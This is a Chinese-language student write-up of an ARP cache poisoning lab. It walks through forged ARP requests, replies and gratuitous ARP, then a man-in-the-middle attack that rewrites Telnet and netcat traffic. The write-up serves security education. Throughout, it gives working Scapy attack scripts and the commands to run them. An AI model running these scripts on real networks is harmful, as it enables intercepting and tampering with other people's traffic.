目录

实验手册

实验环境

Task 1: ARP Cache Poisoning

Task 1.A (using ARP request).

Task 1.B (using ARP reply).

Task 1.C (using ARP gratuitous message).

Task 2: MITM Attack on Telnet using ARP Cache Poisoning

Task 3: MITM Attack on Netcat using ARP Cache Poisoning

实验手册

ARP Cache Poisoning Attack Lab

实验环境

Task 1: ARP Cache Poisoning

本节任务需要通过packet伪造发起ARP缓存毒害攻击。当HostA与HostB相互通信时，他们的ARP数据将被Attacker拦截并修改，使得Attacker成为HostA与HostB的中间人（中间人攻击）。当然，当前任务只关注ARP缓存毒害的部分。

Task 1.A (using ARP request).

在Attacker的主机上向HostA发送一则ARP请求，使HostA的ARP缓存中，HostB的IP地址被映射为Attacker的MAC地址。

首先在HostA上使用命令arp -n确保HostA此前没有记录HostB的IP-MAC映射。如果有，使用arp -d 10.9.0.x清除这条映射关系

接下来需要使用ifconfig查询MAC地址，然后实现代码并在Attacker上运行这则代码。

from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
ether = Ether(src = MAC_M, dst = MAC_A)     # 定义Attacker发往HostA的数据帧
arp = ARP()         # 定义一个ARP报文
arp.op = 1          # 1 for ARP request; 2 for ARP reply
arp.psrc = '10.9.0.6'   # 伪造HostB发送的ARP请求
arp.pdst = '10.9.0.5'   # 发给HostA
arp.hwsrc = MAC_M       # 告诉HostA，发送方的MAC地址
sendp(ether/arp)    # sendp用于在数据链路层发送一个帧（不是send）

此时，我们再在HostA上查询arp缓存，即可发现HostB的IP被映射为Attacker的MAC地址。

Task 1.B (using ARP reply).

在Attacker的主机上向HostA发送一则ARP回复，使HostA的ARP缓存中，HostB的IP地址被映射为Attacker的MAC地址。在此之前，需要保证正确的IP-MAC关系存在于HostA的缓存中。

我们在Attacker上运行以下代码

from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
ether = Ether(src = MAC_M, dst = MAC_A)     # 定义Attacker发往HostA的数据帧
arp = ARP()         # 定义一个ARP报文
arp.op = 2          # 1 for ARP request; 2 for ARP reply
arp.psrc = '10.9.0.6'   # 伪造HostB发送的ARP回复
arp.pdst = '10.9.0.5'   # 发给HostA
arp.hwsrc = MAC_M       # 告诉HostA，发送方的MAC地址
arp.hwdst = MAC_A
sendp(ether/arp)    # sendp用于在数据链路层发送一个帧（不是send）

此时查询HostA的ARP缓存，即可看到映射关系被修改。

接下来，我们清空掉HostA的ARP缓存，在尝试一遍攻击。此时发现HostA虽然接收到了Attacker的ARP回复，但并没有将其写入缓存。这与Linux内核的策略有关。

Task 1.C (using ARP gratuitous message).

在Attacker的主机上向HostA发送一则免费ARP，使HostA的ARP缓存中，HostB的IP地址被映射为Attacker的MAC地址。ARP免费包是一种特殊的ARP请求包，当主机需要更新其他机器上的ARP缓存时使用，这种数据包有以下特点：

1. 目的IP与源IP相同，均为需要更新的映射关系的IP

2. 目的MAC地址为广播地址

3. 不产生回复报文

接下来实现代码并在Attacker上运行，在此之前，确保正确的IP-MAC关系存在于HostA的缓存中。

from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
MAC_BROADCAST = 'ff:ff:ff:ff:ff:ff'
ether = Ether(src = MAC_M, dst = MAC_BROADCAST)
arp = ARP()         # 定义一个ARP报文
arp.op = 2
arp.psrc = '10.9.0.6'
arp.pdst = '10.9.0.6'
arp.hwsrc = MAC_M
arp.hwdst = MAC_BROADCAST
sendp(ether/arp)

运行代码后，HostA中，关于HostB的IP-MAC映射关系被修改

接下来删除HostA上的ARP缓存，重新发起攻击尝试，结果同Task1.B，关系不会被HostA计入缓存。

Task 2: MITM Attack on Telnet using ARP Cache Poisoning

HostA与HostB通过Telnet交换信息，而HostM通过改变两者数据传输路径截获他们的信息，即“中间人“攻击。基本方法即修改HostA和HostB的ARP映射，使A与B的数据均通过M转发。

我们需要首先修改HostA和HostB的ARP缓存，使Attacker充当它们的“中间人”。

from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
MAC_BROADCAST = 'ff:ff:ff:ff:ff:ff'
# 修改HostA的MAC映射
ether = Ether(src = MAC_M, dst = MAC_A)
arp = ARP(op=1)
arp.psrc = '10.9.0.6'
arp.pdst = '10.9.0.5'
arp.hwsrc = MAC_M
sendp(ether/arp)
# 修改HostB的MAC映射
ether = Ether(src = MAC_M, dst = MAC_B)
arp = ARP(op=1)
arp.psrc = '10.9.0.5'
arp.pdst = '10.9.0.6'
arp.hwsrc = MAC_M
sendp(ether/arp)

接下来实现Attacker完成中间人攻击的程序。实现后不着急启动。注意，这里filter应使用MAC作为过滤条件而非IP，因为Attacker在send数据包时不会修改IP，会导致由Attacker发送的伪造包再次被Attacker接收篡改（相当于一种死循环）。

from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
MAC_BROADCAST = 'ff:ff:ff:ff:ff:ff'
HOST_A = '10.9.0.5'
HOST_B = '10.9.0.6'
# 中间人攻击
def spoofing(pkt):# 截获A ---> B的数据if pkt[IP].src == HOST_A and pkt[IP].dst == HOST_B:newpkt = IP(bytes(pkt[IP]))# 删除校验和以及原有的携带信息del(newpkt.chksum)del(newpkt[TCP].payload)del(newpkt[TCP].chksum)# 携带数据时，对数据进行处理再转发if pkt[TCP].payload:data = pkt[TCP].payload.loadnewdata = re.sub(r'[0-9a-zA-Z]', r'x', data.decode('utf-8'))# print(newdata)send(newpkt/newdata)else:send(newpkt)return# 截获B ---> A的数据if pkt[IP].src == HOST_B and pkt[IP].dst == HOST_A:# 不做处理直接转发# 注意数据包每经过一次路由转发，都会修改报文头信息，# 需要重新计算校验和newpkt = IP(bytes(pkt[IP]))del(newpkt.chksum)del(newpkt[TCP].chksum)send(newpkt)return
filter = 'tcp and (ether src ' + MAC_A + ' or ' + 'ether src ' + MAC_B + ')'
pkt = sniff(iface = 'eth0', filter = filter, prn = spoofing)

接下来开始实现中间人攻击。首先在HostA上远程访问HostB，使用命令telnet 10.9.0.6访问HostB。由于Linux主机默认进行路由转发，因此在telnet完成远程连接后，需要通过sysctl net.ipv4.ip_forward=0关闭Attacker的路由转发功能。接下来即可运行以上中间人攻击的代码，此时即可发现，在HostA键入的字符全部被替换为'x'

Task 3: MITM Attack on Netcat using ARP Cache Poisoning

程序保持不变，而是用nc进行HostA到HostB的交互。可以看出，A发往B的信息被M篡改。

（使用ctrl+]进入telnet命令行页面，输入quit回车即可退出telnet远程）

只不过这个Task需要先运行中间人攻击程序，然后在HostB使用nc -lp 9090监听9090端口，之后在HostA使用nc 10.9.0.6 9090发送消息，即可观察到以下现象

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